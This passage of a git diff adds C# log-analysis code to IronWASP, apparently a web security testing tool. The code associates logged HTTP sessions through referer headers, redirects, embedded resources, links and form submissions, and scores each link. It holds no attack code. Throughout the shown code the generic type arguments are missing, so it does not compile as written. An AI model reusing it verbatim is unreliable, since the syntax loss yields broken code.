SessionUrlToRefererUrlMappings = new Dictionary>();//Store the ID of the session and the list of ids of sessions which have a referrer header matching the session request url. + Dictionary> SessionRootUrlToRefererUrlMappings = new Dictionary>();//Store the ID of the session and the list of ids of sessions which have a referrer header matching the session request url's root. + Dictionary> SessionUrlToRefererUrlMismatchMappings = new Dictionary>();//Store the ID of the session and the list of ids of sessions which don't have a referrer header matching the session request url but appear after the session request in log order. + Dictionary> SessionUrlToRefererUrlMissingMappings = new Dictionary>();//Store the ID of the session and the list of ids of sessions which don't have a referrer header at all but appear after the session request in log order. + + Dictionary> SessionsWithSameUrls = new Dictionary>();//Store the Request Url and the ID of the sessions that have this Url + Dictionary> SessionsWithSameRootUrls = new Dictionary>();//Store the Request Url and the ID of the sessions that have this root Url + + List LogIds = new List(Sessions.Keys); + LogIds.Sort(); + for (int i = 0; i < LogIds.Count; i++) + { + Session Sess = Sessions[LogIds[i]]; + if(Sess.Response == null) continue; + string FullUrl = Sess.Request.FullUrl; + string RootUrl = Sess.Request.BaseUrl; + + bool IncludeThisSessForRootUrlMatch = false; + List MetaRefereOrigin = Sess.Response.Html.GetDecodedValues("meta", "name", "referrer", "content");// + if (MetaRefereOrigin.Count > 0) IncludeThisSessForRootUrlMatch = true; + + for (int ii = i + 1; ii < LogIds.Count; ii++) + { + Session RefSess = Sessions[LogIds[ii]]; + + if (RefSess.Request.Headers.Has("Referer")) + { + if(FullUrl.Equals(RefSess.Request.Headers.Get("Referer"))) + { + if (!SessionsWithSameUrls.ContainsKey(FullUrl)) SessionsWithSameUrls[FullUrl] = new List(); + if (SessionsWithSameUrls.ContainsKey(FullUrl) && !SessionsWithSameUrls[FullUrl].Contains(Sess.LogId)) SessionsWithSameUrls[FullUrl].Add(Sess.LogId); + + if (!SessionUrlToRefererUrlMappings.ContainsKey(Sess.LogId)) SessionUrlToRefererUrlMappings[Sess.LogId] = new List(); + if (!SessionUrlToRefererUrlMappings[Sess.LogId].Contains(RefSess.LogId)) SessionUrlToRefererUrlMappings[Sess.LogId].Add(RefSess.LogId); + } + else if (IncludeThisSessForRootUrlMatch && RootUrl.Equals(RefSess.Request.Headers.Get("Referer"))) + { + if (!SessionsWithSameRootUrls.ContainsKey(RootUrl)) SessionsWithSameRootUrls[RootUrl] = new List(); + if (SessionsWithSameRootUrls.ContainsKey(RootUrl) && !SessionsWithSameRootUrls[RootUrl].Contains(Sess.LogId)) SessionsWithSameRootUrls[RootUrl].Add(Sess.LogId); + + if (!SessionRootUrlToRefererUrlMappings.ContainsKey(Sess.LogId)) SessionRootUrlToRefererUrlMappings[Sess.LogId] = new List(); + if (!SessionRootUrlToRefererUrlMappings[Sess.LogId].Contains(RefSess.LogId)) SessionRootUrlToRefererUrlMappings[Sess.LogId].Add(RefSess.LogId); + } + else + { + if (!SessionUrlToRefererUrlMismatchMappings.ContainsKey(Sess.LogId)) SessionUrlToRefererUrlMismatchMappings[Sess.LogId] = new List(); + if (!SessionUrlToRefererUrlMismatchMappings[Sess.LogId].Contains(RefSess.LogId)) SessionUrlToRefererUrlMismatchMappings[Sess.LogId].Add(RefSess.LogId); + } + } + else + { + if (!SessionUrlToRefererUrlMissingMappings.ContainsKey(Sess.LogId)) SessionUrlToRefererUrlMissingMappings[Sess.LogId] = new List(); + if (!SessionUrlToRefererUrlMissingMappings[Sess.LogId].Contains(RefSess.LogId)) SessionUrlToRefererUrlMissingMappings[Sess.LogId].Add(RefSess.LogId); + } + } + } + + List SessionsThatHaveAnUniqueUrlAmongReferHeaderMatches = new List(); + List SessionsThatDontHaveAnUniqueUrlAmongReferHeaderMatches = new List(); + + List SessionsThatHaveAnUniqueRootUrlAmongReferHeaderMatches = new List(); + List SessionsThatDontHaveAnUniqueRootUrlAmongReferHeaderMatches = new List(); + + foreach (string FullUrl in SessionsWithSameUrls.Keys) + { + if (SessionsWithSameUrls[FullUrl].Count == 1) + { + if (!SessionsThatHaveAnUniqueUrlAmongReferHeaderMatches.Contains(SessionsWithSameUrls[FullUrl][0])) + { + SessionsThatHaveAnUniqueUrlAmongReferHeaderMatches.Add(SessionsWithSameUrls[FullUrl][0]); + } + } + else if (SessionsWithSameUrls[FullUrl].Count > 1) + { + foreach (int LogId in SessionsWithSameUrls[FullUrl]) + { + if (!SessionsThatDontHaveAnUniqueUrlAmongReferHeaderMatches.Contains(LogId)) + { + SessionsThatDontHaveAnUniqueUrlAmongReferHeaderMatches.Add(LogId); + } + } + } + } + + foreach (string FullUrl in SessionsWithSameRootUrls.Keys) + { + if (SessionsWithSameRootUrls[FullUrl].Count == 1) + { + if (!SessionsThatHaveAnUniqueRootUrlAmongReferHeaderMatches.Contains(SessionsWithSameRootUrls[FullUrl][0])) + { + SessionsThatHaveAnUniqueRootUrlAmongReferHeaderMatches.Add(SessionsWithSameRootUrls[FullUrl][0]); + } + } + else if (SessionsWithSameRootUrls[FullUrl].Count > 1) + { + foreach (int LogId in SessionsWithSameRootUrls[FullUrl]) + { + if (!SessionsThatDontHaveAnUniqueRootUrlAmongReferHeaderMatches.Contains(LogId)) + { + SessionsThatDontHaveAnUniqueRootUrlAmongReferHeaderMatches.Add(LogId); + } + } + } + } + + foreach (int LogId in SessionsThatHaveAnUniqueUrlAmongReferHeaderMatches) + { + Session MainSess = Sessions[LogId]; + List SessionsAssociatedByReferrerToMain = new List(); + foreach(int RefLogId in SessionUrlToRefererUrlMappings[LogId]) + { + SessionsAssociatedByReferrerToMain.Add(Sessions[RefLogId]); + } + Associations.AddRange(FindAssociations(MainSess, SessionsAssociatedByReferrerToMain, RefererAssociationType.FullUrlAndUnique)); + } + + foreach (int LogId in SessionsThatDontHaveAnUniqueUrlAmongReferHeaderMatches) + { + Session MainSess = Sessions[LogId]; + List SessionsAssociatedByReferrerToMain = new List(); + foreach(int RefLogId in SessionUrlToRefererUrlMappings[LogId]) + { + SessionsAssociatedByReferrerToMain.Add(Sessions[RefLogId]); + } + Associations.AddRange(FindAssociations(MainSess, SessionsAssociatedByReferrerToMain, RefererAssociationType.FullUrlButNotUnique)); + } + + foreach (int LogId in SessionsThatHaveAnUniqueRootUrlAmongReferHeaderMatches) + { + Session MainSess = Sessions[LogId]; + List SessionsAssociatedByReferrerToMain = new List(); + foreach (int RefLogId in SessionRootUrlToRefererUrlMappings[LogId]) + { + SessionsAssociatedByReferrerToMain.Add(Sessions[RefLogId]); + } + Associations.AddRange(FindAssociations(MainSess, SessionsAssociatedByReferrerToMain, RefererAssociationType.RootOnlyAndUnique)); + } + + foreach (int LogId in SessionsThatDontHaveAnUniqueRootUrlAmongReferHeaderMatches) + { + Session MainSess = Sessions[LogId]; + List SessionsAssociatedByReferrerToMain = new List(); + foreach (int RefLogId in SessionRootUrlToRefererUrlMappings[LogId]) + { + SessionsAssociatedByReferrerToMain.Add(Sessions[RefLogId]); + } + Associations.AddRange(FindAssociations(MainSess, SessionsAssociatedByReferrerToMain, RefererAssociationType.RootOnlyButNotUnique)); + } + + foreach (int LogId in SessionUrlToRefererUrlMismatchMappings.Keys) + { + Session MainSess = Sessions[LogId]; + List SessionsWithoutReferMatchToMainButAppearingAfterMainInLogOrder = new List(); + foreach (int LaterLogId in SessionUrlToRefererUrlMismatchMappings[LogId]) + { + SessionsWithoutReferMatchToMainButAppearingAfterMainInLogOrder.Add(Sessions[LaterLogId]); + } + Associations.AddRange(FindAssociations(MainSess, SessionsWithoutReferMatchToMainButAppearingAfterMainInLogOrder, RefererAssociationType.Mismatch)); + } + + foreach (int LogId in SessionUrlToRefererUrlMissingMappings.Keys) + { + Session MainSess = Sessions[LogId]; + List SessionsWithoutReferMatchToMainButAppearingAfterMainInLogOrder = new List(); + foreach (int LaterLogId in SessionUrlToRefererUrlMissingMappings[LogId]) + { + SessionsWithoutReferMatchToMainButAppearingAfterMainInLogOrder.Add(Sessions[LaterLogId]); + } + Associations.AddRange(FindAssociations(MainSess, SessionsWithoutReferMatchToMainButAppearingAfterMainInLogOrder, RefererAssociationType.ReferMissing)); + } + return FinalizeAssociationsByPriority(Sessions, Associations); + } + + List FinalizeAssociationsByPriority(Dictionary Sessions, List Associations) + { + List FinalizedAssociations = new List(); + + List LogIds = new List(Sessions.Keys); + LogIds.Sort(); + foreach(int LogId in LogIds) + { + LogAssociation Asso = GetBestAssociation(LogId, Associations); + if (Asso == null) + { + FinalizedAssociations.Add(new LogAssociation(LogAssociationType.UnAssociated, RefererAssociationType.None, IronHtml.UrlInHtmlMatch.None, LogAssociationMatchLevel.Other, null, Sessions[LogId])); + } + else + { + if (!UninterestingAssociationTypes.Contains(Asso.AssociationType)) FinalizedAssociations.Add(Asso); + } + } + return FinalizedAssociations; + } + + LogAssociation GetBestAssociation(int LogId, List Associations) + { + int ClosestSourceLogId = 0; + LogAssociation BestAssociation = null; + + foreach (LogAssociation Asso in Associations) + { + if (Asso.DestinationLog.LogId != LogId) continue; + if (Asso.SourceLog.LogId > ClosestSourceLogId) + { + ClosestSourceLogId = Asso.SourceLog.LogId; + BestAssociation = null; + } + if (Asso.SourceLog.LogId == ClosestSourceLogId) + { + if (BestAssociation == null || Asso.AssociationScore > BestAssociation.AssociationScore) + { + BestAssociation = Asso; + } + } + } + return BestAssociation; + } + + #region AssociationFindingCore + List FindAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + + List AssociatedIds = new List(); + + Associations.AddRange(FindRedirectAssociations(MainLog, SessionList, RefAssoType)); + Associations.AddRange(FindScriptSourceAssociations(MainLog, SessionList, RefAssoType)); + Associations.AddRange(FindStyleSourceAssociations(MainLog, SessionList, RefAssoType)); + Associations.AddRange(FindImgSourceAssociations(MainLog, SessionList, RefAssoType)); + Associations.AddRange(FindLinkClickAssociations(MainLog, SessionList, RefAssoType)); + Associations.AddRange(FindFormSubmitAssociations(MainLog, SessionList, RefAssoType)); + + return Associations; + } + + List FindRedirectAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + if (MainLog.Response == null) return null; + + if (MainLog.Response.IsRedirect) + { + if (MainLog.Response.Headers.Has("Location")) + { + string RedirUrl = MainLog.Response.Headers.Get("Location").Trim(); + try + { + Request RedirReq = new Request(RedirUrl); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(RedirReq.FullUrl) && Sess.Response != null) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.Redirect, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.Other, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + catch + { + Request RedirReq = MainLog.Request.GetRedirect(MainLog.Response); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(RedirReq.FullUrl) && Sess.Response != null) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.Redirect, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.Other, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + } + return Associations; + } + + List FindScriptSourceAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + if (MainLog.Response == null) return Associations; + + //Match script urls with absolute match and response content type match + foreach (string ScriptSrc in MainLog.Response.Html.GetDecodedValues("script", "src")) + { + try + { + Request ScriptReq = new Request(ScriptSrc.Trim()); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(ScriptReq.FullUrl) && Sess.Response != null)// && Sess.Response.Code == 304 || Sess.Response.IsJavaScript) + { + if (Sess.Response.Code == 304 || Sess.Response.IsJavaScript) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalScript, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchAndResponseType, MainLog, Sess); + Associations.Add(LogAsso); + } + else + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalScript, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + catch + { + Request ScriptReq = new Request(MainLog.Request.RelativeUrlToAbsoluteUrl(ScriptSrc.Trim())); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(ScriptReq.FullUrl) && Sess.Response != null)// && Sess.Response.Code == 304 || Sess.Response.IsJavaScript) + { + if (Sess.Response.Code == 304 || Sess.Response.IsJavaScript) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalScript, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchAndResponseType, MainLog, Sess); + Associations.Add(LogAsso); + } + else + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalScript, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + } + return Associations; + } + + List FindStyleSourceAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + if (MainLog.Response == null) return Associations; + + //Match css urls with absolute match and response content type match + foreach (string CssSrc in MainLog.Response.Html.GetDecodedValues("link", "href")) + { + try + { + Request CssReq = new Request(CssSrc.Trim()); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(CssReq.FullUrl) && Sess.Response != null)// && Sess.Response.Code == 304 || Sess.Response.IsCss) + { + if (Sess.Response.Code == 304 || Sess.Response.IsCss) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalCss, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchAndResponseType, MainLog, Sess); + Associations.Add(LogAsso); + } + else + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalCss, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + catch + { + Request CssReq = new Request(MainLog.Request.RelativeUrlToAbsoluteUrl(CssSrc.Trim())); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(CssReq.FullUrl) && Sess.Response != null)// && Sess.Response.Code == 304 || Sess.Response.IsCss) + { + if (Sess.Response.Code == 304 || Sess.Response.IsCss) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalCss, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchAndResponseType, MainLog, Sess); + Associations.Add(LogAsso); + } + else + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalCss, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + } + return Associations; + } + + List FindImgSourceAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + if (MainLog.Response == null) return Associations; + + //Match img urls with absolute match and response content type match + foreach (string ImgSrc in MainLog.Response.Html.GetDecodedValues("img", "src")) + { + try + { + Request ImgReq = new Request(ImgSrc.Trim()); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(ImgReq.FullUrl) && Sess.Response != null)// && Sess.Response.Code == 304 || Sess.Response.IsBinary) + { + if (Sess.Response.Code == 304 || Sess.Response.IsBinary) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalImage, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchAndResponseType, MainLog, Sess); + Associations.Add(LogAsso); + } + else + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalImage, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + catch + { + Request ImgReq = new Request(MainLog.Request.RelativeUrlToAbsoluteUrl(ImgSrc.Trim())); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(ImgReq.FullUrl) && Sess.Response != null)// && Sess.Response.Code == 304 || Sess.Response.IsBinary) + { + if (Sess.Response.Code == 304 || Sess.Response.IsBinary) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalImage, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchAndResponseType, MainLog, Sess); + Associations.Add(LogAsso); + } + else + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.ExternalImage, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + } + return Associations; + } + + List FindLinkClickAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + if (MainLog.Response == null) return Associations; + + //Match link urls with absolute match + foreach (string LinkUrl in MainLog.Response.Html.GetDecodedValues("a", "href")) + { + try + { + Request LinkReq = new Request(LinkUrl.Trim()); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(LinkReq.FullUrl) && Sess.Response != null) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.LinkClick, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + catch + { + Request LinkReq = new Request(MainLog.Request.RelativeUrlToAbsoluteUrl(LinkUrl.Trim())); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) continue; + if (Sess.Request.FullUrl.Equals(LinkReq.FullUrl) && Sess.Response != null) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.LinkClick, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.UrlMatchOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + return Associations; + } + + List FindFormSubmitAssociations(Session MainLog, List SessionList, RefererAssociationType RefAssoType) + { + List Associations = new List(); + if (MainLog.Response == null) return Associations; + + //Match form submission with absolute url match and absolute field/values match + foreach (IronHtml.FormElement FormEle in MainLog.Response.Html.GetFormElements()) + { + try + { + Request FormReq = new Request(FormEle.Action); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.IsNormal) continue; + if (Sess.Request.FullUrl.Equals(FormReq.FullUrl) && Sess.Request.Method.Equals(FormEle.Method, StringComparison.OrdinalIgnoreCase) && Sess.Response != null) + { + if (FormEle.DoAllInputFieldValuesMatchRequest(Sess.Request)) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.FormSubmission, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.FormNamesAndValues, MainLog, Sess); + Associations.Add(LogAsso); + } + else if (FormEle.DoHiddenInputFieldValuesMatchRequest(Sess.Request)) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.FormSubmission, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.FormNamesAndHiddenValuesOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + else if (FormEle.DoInputFieldNamesMatchRequest(Sess.Request)) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.FormSubmission, RefAssoType, IronHtml.UrlInHtmlMatch.FullAbsolute, LogAssociationMatchLevel.FormNamesOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + catch + { + Request FormReq = new Request(MainLog.Request.RelativeUrlToAbsoluteUrl(FormEle.Action)); + foreach (Session Sess in SessionList) + { + if (!Sess.Request.IsNormal) continue; + if (Sess.Request.FullUrl.Equals(FormReq.FullUrl) && Sess.Request.Method.Equals(FormEle.Method, StringComparison.OrdinalIgnoreCase) && Sess.Response != null) + { + if (FormEle.DoAllInputFieldValuesMatchRequest(Sess.Request)) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.FormSubmission, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.FormNamesAndValues, MainLog, Sess); + Associations.Add(LogAsso); + } + else if (FormEle.DoHiddenInputFieldValuesMatchRequest(Sess.Request)) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.FormSubmission, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.FormNamesAndHiddenValuesOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + else if (FormEle.DoInputFieldNamesMatchRequest(Sess.Request)) + { + LogAssociation LogAsso = new LogAssociation(LogAssociationType.FormSubmission, RefAssoType, IronHtml.UrlInHtmlMatch.FullRelative, LogAssociationMatchLevel.FormNamesOnly, MainLog, Sess); + Associations.Add(LogAsso); + } + } + } + } + } + return Associations; + } + #endregion + } +} diff --git a/Iron/Analysis/LogAssociation.cs b/Iron/Analysis/LogAssociation.cs new file mode 100644 index 0000000..dcf3039 --- /dev/null +++ b/Iron/Analysis/LogAssociation.cs @@ -0,0 +1,332 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.Analysis +{ + public class LogAssociation + { + public LogAssociationType AssociationType = LogAssociationType.Unknown; + public RefererAssociationType RefererMatch = RefererAssociationType.None; + public LogAssociationMatchLevel MatchLevel = LogAssociationMatchLevel.Other; + public IronHtml.UrlInHtmlMatch UrlMatch = IronHtml.UrlInHtmlMatch.None; + + public Session SourceLog = null; + public Session DestinationLog = null; + + static List IgnorableExtensions = new List() { "jpg", "gif", "ico", "jpeg", "png", "woff", "swf", "css", "js", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx" }; + + public LogAssociation(LogAssociationType AssoType, RefererAssociationType RefAssoType, IronHtml.UrlInHtmlMatch UrlMatchLevel, LogAssociationMatchLevel MtcLvl, Session SrcLog, Session DestLog) + { + AssociationType = AssoType; + RefererMatch = RefAssoType; + UrlMatch = UrlMatchLevel; + MatchLevel = MtcLvl; + SourceLog = SrcLog; + DestinationLog = DestLog; + } + + public int AssociationScore + { + get + { + //Redirect 3000 + //Form submission 2000 + //Link click 1000 + //others 0 + int AssociationTypeWeight = 1000; + int RefererMatchWeight = 100; + int MatchLevelWeight = 10; + int UrlMatchWeight = 1; + + int Score = 0; + if (AssociationType == LogAssociationType.UnAssociated) return 0; + switch (AssociationType) + { + case(LogAssociationType.Redirect): + Score += 3 * AssociationTypeWeight; + break; + case (LogAssociationType.FormSubmission): + Score += 2 * AssociationTypeWeight; + break; + case (LogAssociationType.LinkClick): + Score += 1 * AssociationTypeWeight; + break; + default: + Score += 0 * AssociationTypeWeight; + break; + } + switch (RefererMatch) + { + case(RefererAssociationType.FullUrlAndUnique): + Score += 9 * RefererMatchWeight; + break; + case (RefererAssociationType.FullUrlButNotUnique): + Score += 8 * RefererMatchWeight; + break; + case (RefererAssociationType.RootOnlyAndUnique): + Score += 7 * RefererMatchWeight; + break; + case (RefererAssociationType.RootOnlyButNotUnique): + Score += 6 * RefererMatchWeight; + break; + case (RefererAssociationType.ReferMissing): + Score += 5 * RefererMatchWeight; + break; + case (RefererAssociationType.None): + Score += 4 * RefererMatchWeight; + break; + case (RefererAssociationType.Mismatch): + Score += 3 * RefererMatchWeight; + break; + default: + Score += 2 * RefererMatchWeight; + break; + } + switch (MatchLevel) + { + case(LogAssociationMatchLevel.FormNamesAndValues): + Score += 6 * MatchLevelWeight; + break; + case (LogAssociationMatchLevel.FormNamesAndHiddenValuesOnly): + Score += 5 * MatchLevelWeight; + break; + case (LogAssociationMatchLevel.UrlMatchAndResponseType): + Score += 4 * MatchLevelWeight; + break; + case (LogAssociationMatchLevel.FormNamesOnly): + Score += 3 * MatchLevelWeight; + break; + case (LogAssociationMatchLevel.UrlMatchOnly): + Score += 2 * MatchLevelWeight; + break; + case (LogAssociationMatchLevel.Other): + Score += 1 * MatchLevelWeight; + break; + } + switch (UrlMatch) + { + case(IronHtml.UrlInHtmlMatch.FullAbsolute): + Score += 3 * UrlMatchWeight; + break; + case (IronHtml.UrlInHtmlMatch.FullRelative): + Score += 2 * UrlMatchWeight; + break; + case (IronHtml.UrlInHtmlMatch.None): + Score += 1 * UrlMatchWeight; + break; + } + return Score; + } + } + + public override string ToString() + { + StringBuilder SB = new StringBuilder(); + if (SourceLog != null) + { + SB.Append(SourceLog.LogId); SB.Append(" | "); SB.Append(SourceLog.Request.FullUrl); + } + SB.AppendLine(); + SB.AppendLine(AssociationType.ToString()); + SB.Append("Url: "); SB.AppendLine(UrlMatch.ToString()); + SB.Append("Level: "); SB.AppendLine(MatchLevel.ToString()); + SB.Append("Referer: "); SB.AppendLine(RefererMatch.ToString()); + if (DestinationLog != null) + { + SB.Append(DestinationLog.LogId); SB.Append(" | ");SB.Append(DestinationLog.Request.FullUrl); + } + SB.AppendLine(); + return SB.ToString(); + } + public bool IsIgnorable + { + get + { + if(IgnorableExtensions.Contains(this.DestinationLog.Request.File.ToLower())) + { + return true; + } + if (this.DestinationLog.Response != null) + { + if (this.DestinationLog.Response.Code == 304) return true; + if (this.DestinationLog.Response.IsBinary) return true; + } + return false; + } + } + public bool DoesHaveParameterValues(List ParameterValues) + { + if (this.DestinationLog != null) + { + foreach (string ParameterValue in ParameterValues) + { + if (!(this.DestinationLog.Request.Query.HasValue(ParameterValue) || this.DestinationLog.Request.Body.HasValue(ParameterValue))) + { + return false; + } + } + return true; + } + return false; + } + } + + public class LogAssociations + { + Dictionary Associations = new Dictionary(); + + public LogAssociations(List LogAssoList) + { + foreach(LogAssociation Asso in LogAssoList) + { + Associations[Asso.DestinationLog.LogId] = Asso; + } + } + //public int FirstLogId + //{ + // get + // { + // return LogIds[0]; + // } + //} + //public int LastLogId + //{ + // get + // { + // return LogIds[LogIds.Count-1]; + // } + //} + + public int NonIgnorableCount + { + get + { + int NonIgnorableCounter = 0; + foreach (int AssoId in Associations.Keys) + { + if (!Associations[AssoId].IsIgnorable) NonIgnorableCounter++; + } + return NonIgnorableCounter; + } + } + + public int Count + { + get + { + return Associations.Count; + } + } + public List LogIds + { + get + { + List LogIds = new List(Associations.Keys); + LogIds.Sort(); + return LogIds; + } + } + public bool HasLog(int LogId) + { + return Associations.ContainsKey(LogId); + } + public LogAssociation GetAssociation(int LogId) + { + return Associations[LogId]; + } + public override string ToString() + { + StringBuilder SB = new StringBuilder(); + //SB.Append("Associations for: "); SB.AppendLine(Ua); + SB.AppendLine("----------------------"); + //foreach (LogAssociation Asso in Associations) + foreach(int LogId in LogIds) + { + SB.AppendLine(Associations[LogId].ToString()); + } + SB.AppendLine("----------------------"); + return SB.ToString(); + } + public List GetAssociationsWithParameterValues(List ParameterValues) + { + List Results = new List(); + foreach (int i in this.LogIds) + { + Analysis.LogAssociation Asso = this.GetAssociation(i); + if (Asso.DoesHaveParameterValues(ParameterValues)) + { + Results.Add(Asso); + } + } + return Results; + } + + public Analysis.LogAssociation GetFirstAssociationWithParameterValues(List ParameterValues) + { + return GetFirstOrLastAssociationWithParameterValues(ParameterValues, true); + } + public Analysis.LogAssociation GetLastAssociationWithParameterValues(List ParameterValues) + { + return GetFirstOrLastAssociationWithParameterValues(ParameterValues, false); + } + public Analysis.LogAssociation GetFirstOrLastAssociationWithParameterValues(List ParameterValues, bool First) + { + List Assos = GetAssociationsWithParameterValues(ParameterValues); + Dictionary AssosDict = new Dictionary(); + + foreach (Analysis.LogAssociation Asso in Assos) + { + AssosDict[Asso.DestinationLog.LogId] = Asso; + } + + List LogIdsWithParamterValues = new List(AssosDict.Keys); + LogIdsWithParamterValues.Sort(); + if (LogIdsWithParamterValues.Count > 0) + { + if (First) + { + return AssosDict[LogIdsWithParamterValues[0]]; + } + else + { + return AssosDict[LogIdsWithParamterValues[LogIdsWithParamterValues.Count - 1]]; + } + } + return null; + } + } + + public enum LogAssociationType + { + LinkClick, + FormSubmission, + ExternalScript, + ExternalCss, + ExternalImage, + Redirect, + Unknown, + UnAssociated + } + + public enum LogAssociationMatchLevel + { + UrlMatchOnly, + UrlMatchAndResponseType, + FormNamesAndValues, + FormNamesAndHiddenValuesOnly, + FormNamesOnly, + Other + } + + public enum RefererAssociationType + { + FullUrlAndUnique, + RootOnlyAndUnique, + FullUrlButNotUnique, + RootOnlyButNotUnique, + None, + Mismatch, + ReferMissing + } +} diff --git a/Iron/Analysis/LogMapping.cs b/Iron/Analysis/LogMapping.cs new file mode 100644 index 0000000..e4c8fb5 --- /dev/null +++ b/Iron/Analysis/LogMapping.cs @@ -0,0 +1,11 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.Analysis +{ + public class LogMapping + { + + } +} diff --git a/Iron/Analysis/LogReplayAssociation.cs b/Iron/Analysis/LogReplayAssociation.cs new file mode 100644 index 0000000..174ad88 --- /dev/null +++ b/Iron/Analysis/LogReplayAssociation.cs @@ -0,0 +1,137 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.Analysis +{ + public class LogReplayAssociation + { + public LogAssociation OriginalAssociation = null; + public LogAssociation 